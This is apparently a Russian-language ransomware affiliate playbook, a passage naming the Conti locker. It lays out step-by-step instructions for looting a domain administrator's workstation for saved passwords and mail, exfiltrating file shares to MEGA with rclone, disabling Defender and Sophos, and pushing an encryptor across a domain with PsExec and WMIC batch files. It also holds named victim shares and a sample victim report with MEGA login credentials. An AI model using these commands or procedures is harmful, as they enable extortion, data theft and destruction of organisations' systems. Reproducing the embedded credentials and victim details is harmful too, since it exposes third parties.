IPAddress       : 172.16.1.40
SessionFrom     : 192.168.100.55
SessionFromName :
LocalAdmin      :
```

И так, лог будет примерного такого формата, как нам с этим быть - Во первых, как работает софт - он опрашивает где в даннай момент хоть как то авторизований пользователь. А пользователь у нас не простой - он администратор и в какой то момент он может быть авторизован на 20-30-50 серверах.
Как нам фильтрануть и не увязнуть в этом?
Во первых, убираем неинтересные нам ОС

Например первый в списке DC01 - явно ДоменКонтроллер01, можно его проверить по **adfind_computers.txt** либо **portscan 172.16.1.13** и увидеть, что это СЕРВЕРНАЯ ОС. А нам нужна клиентская.

Вторая - SQL01 - БДшная ОС. Нам не подходит.

Смотрим третью - **lptp-gpetit**. Хм, нашего пользователя зовут **gpetit**, а **lptp** - означает **laptop**, то есть ноутбук. Возможно это как раз он.

#Также бывает, что админ подключен ТОЛЬКО на серверные ОС, но в колонке SessionFrom - айпи из другого сабнета(**например впн сабнет**) где он тихо сидит но **SharpView** его не **"взяло"** - тоже можно взять в оборот.

Далее - ВАЖНЫЙ ПУНКТ.

Новички первым делом пытаются поднять там сессию и **ОЧЕНЬ ЧАСТО ловят алерт. Алерт у админа** = выпиливание из сети, потеря времени, нервов. Так делать НЕЛЬЗЯ!
Что мы будем делать - **опрашивать его через файловую систему.**
Делаем следующее:

shell net view \\172.16.1.40 /ALL

На выходе видим его локальные дики
C$
D$

Обуваем токен(Рекомендуется **именно токен**, ибо **pth** оставляет несколько иной **Event ID** на **домен контроллере**, а **это может заметить админ** и выпилить нас)

Открываем File Manager в кобальте:
\\172.16.1.40\c$

Либо используем shell через
shell dir \\172.16.1.40\c$

Смотрим что на **диске C** бегло
Переходим в папку

\\172.16.1.40\c$\Users\gpetit

Обычно если это ДЕЙСТВИТЕЛЬНО воркстанция админа - **у него много хлама аля Virtualbox / putty / winscp** и тд и тп.

Как нам его **"осмотреть"**, вот список интересных директорий:

Рабочий стол
\\172.16.1.40\c$\Users\gpetit\Desktop

\\172.16.1.40\c$\Users\gpetit\OneDrive
\\172.16.1.40\c$\Users\gpetit\Downloads
\\172.16.1.40\c$\Users\gpetit\Desktop
\\172.16.1.40\c$\Users\gpetit\Documents

Здесь лежат папки с конфигурациями пользовательскими, ниже список того что можно будет извлечь:

\\172.16.1.40\c$\Users\gpetit\AppData\Local

\\172.16.1.40\c$\Users\gpetit\AppData\Roaming

\\172.16.1.40\c$\Users\gpetit\AppData\Local\Google\Chrome\User Data\Default

Здесь лежат History && Login Data от хрома.

Хистори можно прямо скачать и осмотреть с помощью **DBrowser for SQLite(nix win).** Чем полезно - посмотреть куда админ ходит, за кого голосует, можно сортануть хистори по заголовку и найти прям **NAS / Tape / vSphere** и тд. **ОЧЕНЬ полезная вещь.**

Login Data - лежат логины и пароли. **Зашифрованные(!).** Если весит **38-42kb то там ПУСТО.** Если весит больше **40-45кб(от 100кб до 1-2мегабайт) - значит там ТОЧНО есть пароли.**

Если есть нужный URL с сохр паролем - обратись **к своему тимлиду.**

Также бывает в хроме, что в Логин Дате нет паролей, но если внимательно рассмотреть папку профиля, то найдется папка **extenstions** а там **lastpass.** Такое тоже в практике может случатся в таком случае заходить **по RDP ночью** и экспортировать пароли **(либо кейлогер или др варианты)**

Аналогично можно посмотреть папку **Firefox / Edge (пути дополню, гуглятся легко)**

Также у сис админов ЧАСТО встречаться **в AppData\Roaming && AppData\Local** следующие папки:

Keepass
LastPass

Там их конфиги. Тащим их, выкладываем в конфу. Если такое нашли - значит СКОРЕЕ ВСЕГО там масса именно ТЕХ САМЫХ нужных паролей.

Также случается, что админ прямо на десктопе хранит аля **access.xlsx**

passwords.docx

Качаем, ломаем, смотрим.

также есть папка outlook
\\172.16.1.40\c$\Users\gpetit\AppData\Local\Microsoft\Outlook

Здесь лежит файл аля
gpetit@domain.com - Exchange1.ost
В нём ПЕРЕПИСКА данного перца. Её можно скачать к себе , открыть «**free ost viewer**» и посмотреть почту вход\исход. РЕГУЛЯРНО бывает полезно разобраться в сложных ситуациях именно этим приёмом.
Копируется просто - **вырубаем outlook.exe**, делаем копипаст **.ost файла**, потом пользователь сам себе откроет outlook.

\\172.16.1.40\c$\Users\gpetit\AppData\Local\Filezilla
\\172.16.1.40\c$\Users\gpetit\AppData\Roaming\Filezilla

Здесь файлы **sitemanager.xml** могут быть с **кредами от FTP SSH.** Качаем, смотрим, кидаем в конфу.

Также осматриваем **\\172.16.1.40\C$\ProgramData**
+Program files/x86
+ Локальные диски которые выпали в **net view \\host /ALL**
D$ и тд

Также в **ad_users.txt** бывает **homeDir** - её тоже смотрим, изучаем.

Вроде всё.

Для чего мануал был написан - чтоб не пытались сломя голову идти поднимать сессию и ловить алерты от админа.
Наша работа скорее заключается в том, чтобы разобраться что как устроено, а не настраивать брутфорс во всевозможные доступы.
Всё уже хакнуто, надо просто посмотреть на всё !глазами админа!
Главная задача при ханте админа - понять, где он хранит пароли и стащить БД\ексельку\файл\текстворк\документ!!!

II Этап. Выгрузка данных

1. Регистрация меги

Регистрируемся на сайте **https://mega.io/**
Выбираем подписку в записимости от размера сетки. **Обычно на 2тб**
Выбираем оплату криптой
Скидываем реквизиты для оплаты тимлиду

Одну мегу для нескольких сеток использовать нельзя!!!

2. Создание конфига рклона

1. качаем **rclone.exe** с оф сайта и создаем файл **rclone.conf**
2. открываем **cmd от админа**, проваливаемся в папку, где лежит прога с файлом конфигурации и выполняем команду: **rclone config**
3. далее выбираем в появившемся меню **new remote**
4. **называем его mega потом еще раз вводим mega**
5. после этого вводим **адрес почты меги** после он спросит свой пасс вводить или сгенерировать мы **выбираем свой буквой 'Y'**
6. после создания конфига нас выбрасывает в главное меню и мы выходим из **рклона.**
7. далее вводим эту команду **rclone.exe config show** она покажет **сам конфиг** который мы создали
8. копируем его в **файл rclone.conf**

3. Выгрузка данных

Поссле того как мы нашли интересующие нас шары мы загружаем **.exe** и **конфиг** на **таргет машину с правами**, переходим в дерикторию экзешки и даем команду:

Примеры:

shell rclone.exe copy "шара" Mega:training -q --ignore-existing --auto-confirm --multi-thread-streams 1 --transfers 3 --bwlimit 5M

Исполлзуем эту ==> **shell rclone.exe copy "\\WTFINANCE.washoetribe.net\E$\FINANCE" mega:1 -q --ignore-existing --auto-confirm --multi-thread-streams 1 --transfers 3 --bwlimit 5M**

shell rclone.exe copy "\\trucamtldc01\E$\Data" remote:Data -q --ignore-existing --auto-confirm --multi-thread-streams 12 --transfers 12

shell rclone.exe copy "\\FS\" remote:NT -q --ignore-existing --auto-confirm --multi-thread-streams 12 --transfers 12

shell rclone.exe copy "\\PETERLENOVO.wist.local\Users" ftp1:uploads/Users/ -q --ignore-existing --auto-confirm --multi-thread-streams 3 --transfers 3

shell rclone.exe copy "\\envisionpharma.com\IT\KLSHARE" Mega:Finanse -q --ignore-existing --auto-confirm --multi-thread-streams 12 --transfers 12

\\envisionpharma.com\IT\KLSHARE это шары, которые выкачиваем, можем указывать как угодно, хоть весь диск

Mega - название конфига, которое мы указали при выполнении пункта 5

Finanse - папка в меге, куда выгружается инфа, если нет ее, то создаст сам.
streams 12 --transfers 12 это колличество потоков которые качают. **На максимум (12)** не рекомендую так как можно легко спалиться

ГАЙД
https://rclone.org/mega/

4. Бекап инфы на дедик

Регестрируем дедик
Устанавливаем приложение - **https://mega.io/sync**
Через приложение скачиваем содержимое меги на дедик

5. Подготовка датапака

Заходим на мегу с тора. и ищем по ключевым словам. **нужны бугалтерские отчеты. банк стейтменты. за 20-21 года. весь фреш.** особенно важны, кибер страховка, **документы политики безопасности.**
Ключевые слова для поиска:

cyber
policy
insurance
endorsement
supplementary
underwriting
terms
bank
2020
2021
Statement

и все что может быть сочным.
всегда, кто занимается скачиванием инфы
сразу готовит датапак
сразу бекапает инфу на мегу
и делает полный листинг всей инфы!

III Этап. Лок

1. Сбор батников на копирование и запуск файла по всему домену
Сбор батника на копирование файла по всему домену
Сохраняем как **"COPY.BAT"**
start PsExec.exe /accepteula @C:\share$\comps1.txt -u DOMAIN\ADMINISTRATOR -p PASSWORD cmd /c COPY "\\PRIMARY ДОМЕН КОНТРОЛЛЕР\share$\fx166.exe" "C:\windows\temp\"

Сбор батника на запуск файла по всему домену
Сохраняем как **"EXE.BAT"**
start PsExec.exe -d @C:\share$\comps1.txt -u DOMAIN\ADMINISTRATOR -p PASSWORD cmd /c c:\windows\temp\fx166.exe

Сбор батника WMI на копирование и запуск файла по всему домену
Сохраняем как **"WMI.BAT"**
start wmic /node:@C:\share$\comps1.txt /user:"DOMAIN\Administrator" /password:"PASSWORD" process call create "cmd.exe /c bitsadmin /transfer fx166 \\ДОМЕН КОНТРОЛЛЕР\share$\fx166.exe %APPDATA%\fx166.exe&%APPDATA%\fx166.exe"

Параметр запуска **локера** на линукс версиях
Параметры запуска **unix** версии
--path
При использовании этого параметра локер зашифрует файлы по указанному пути. **Обязательный параметр** без него лочить ни чего не будет.
./encryptor --path /path

--prockiller
Убивает все процессы которые мешают открытию файлов.
./encryptor --path /path --prockiller

--log
Включает логирование всех действий и ошибок
./encryptor --path /path --log /root/log.txt

--vmkiller(Только для **esxi**)
Выключает все виртуальные машины

--vmlist(Только для **esxi**)
Задает файл со списком виртуальных машин, которые не надо выключать. По одной строке **на каждую VM.**
./encryptor --path /path --vmkiller --vmlist /tmp/list.txt

--detach
Отвязывает процесс от терминала.
Чтобы если **ssh** сессия отвалилась **локер дальше работал И файлы не побил**

ESXi версию ЗАПРАШИВАЙТЕ ОТДЕЛЬНО

Если где то не запускается мне надо OS, версию ядра и версию **glibc /lib64/libc.so.6**

ПЕРЕБРАТЬ

LOCKER
1.exe -nolan применять по дефолту (локаеть только локальные диски... может все равно попасть в сетевые (лок лох!))
1.exe -nolocal (локает только привязаны сетевые диски)

1.exe -fast (без завершения процессов занимающих файлы и удаления Shadow копий)

1.exe -full (локает ВСЕ!!! опасно! применять на нерваках)) или на пидорах)

1.exe -path "\\ip" (указанный путь до папки, также и на другом ПК **"\\192.168.0.1\c$\folder")**

MASS_LOCK сети: (локает только [C] диск на всех ПК):

MASS_LOCK:

psexec.exe \\%0 -s -d -i -c -f uac.bat

psexec.exe \\%0 -s -d -i -c -f defoff.bat

psexec.exe \\%0 -d -i -c -f 1.exe

2. Отключение AB

Отключение дефендера

Вручную:

gpedit.msc

Внутри переходим по пути Конфигурация компьютера - Административные шаблоны - Компоненты Windows - Windows Defender
Находим пункт **"Защита в режиме реального времени"**
Выбираем пункт **"Выключить защиту в режиме реального времени"**
Выбрать **"Включено"**
Вводим в **cmd gpupdate /force**

Не в ручную:

powershell Set-MpPreference -DisableRealtimeMonitoring $true

или

New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force

И ещё один способ

Открываем **Gmer** или альтернативы - отрубаем процесс **mspeng** \ или же заходим в расположение файла, удаляем сам файл.

Sophos

Нужны права локального админа.
Загружаем **Gmer** на цель, запускаем его, идем во вкладку **Processes**, находим и сносим все процессы **Софоса.**

После чего **ждем ~15-20 секунд** и видим уведомление об остановке работы **софоса. Должен пропасть значек софоса.**

Потом идем во вкладку **Files** и находим папку с софосом **и пытаемся удалить .exe-шники,** в первую очередь **удаляем все .exe в папке File Scanner,** а потом уже в других папках.

Потом запускаем **Pchunter** и идем во вкладку **Services** и сносим сервисы **софоса.**

После чего идем во вкладку **Files** (желательно, но не обязательно) и там уже полностью сносим **папку(и) выбираете Force Delete** (**не всегда срабатывает**)с софосом.

3. Запуск батников

Заходим на диск **C:** и создаем папку с названием **"share$"**
Расшариваем созданную папку и туда закидываем наши **.bat** файлы
Так же нужен **psexec.exe** и файл которым вы будете криптовать данный домен

Запускаем **COPY.BAT**
Ждем пока отработают все окна **CMD**
Запускаем **EXE.BAT**
Ждем пока отработают все окна **CMD**
Запускаем **WMI.BAT**
Ждем пока отработают все окна **CMD**

\\ далее нам надо будет раскидать длллку пейлода по сети и притянуть ботов - batniki delayutsa vot tyt - **http://tobbot.com/data/**

```
copy "C:\ProgramData\BuildName.exe" "\\{1}\c$\ProgramData\BuildName.exe"
```

```
wmic /node:{1} process call create "rundll32.exe C:\ProgramData\2.dll StartW"
```

copy.bat

```
copy "C:\ProgramData\2.dll" "\\192.168.3.11\c$\ProgramData\2.dll"
copy "C:\ProgramData\2.dll" "\\192.168.3.14\c$\ProgramData\2.dll"
copy "C:\ProgramData\2.dll" "\\192.168.3.18\c$\ProgramData\2.dll"
copy "C:\ProgramData\2.dll" "\\192.168.3.21\c$\ProgramData\2.dll"
copy "C:\ProgramData\2.dll" "\\192.168.3.27\c$\ProgramData\2.dll"
copy "C:\ProgramData\2.dll" "\\192.168.3.4\c$\ProgramData\2.dll"
```

4. Проврка результата работы батников

Заходим на каждый **ворк по RDP** и проверяем как отработал файл (**если файла нет, копируем его со своей Windows через RDP на сервер и запускаем его**)

5. Запуск локера вручную

Запускаем локер в ручную//

6. Подготовка отчета

Пример:
==========
https://www.zoominfo.com/c/labranche-therrien-daoust-lefrancois/414493394
Website: ltdl.ca
1398 Servers 9654 Works - все в локе
Мега:
Ulfayjhdtyjeman@outlook.com
u4naY[pclwuhkpo5iW
25000гб info

Labranche Therrien Daoust Lefrançois - финансисты\бугалтера
Revenue: $985 Million
Locker: Conti
Кейс от botnet
---BEGIN ID---
i0KrUPg8RSrFuPPr16C931X2rS04c4892ZR1fNVfhmrmVXtOlxYisSzBJHvksbzI
==========

IV Разное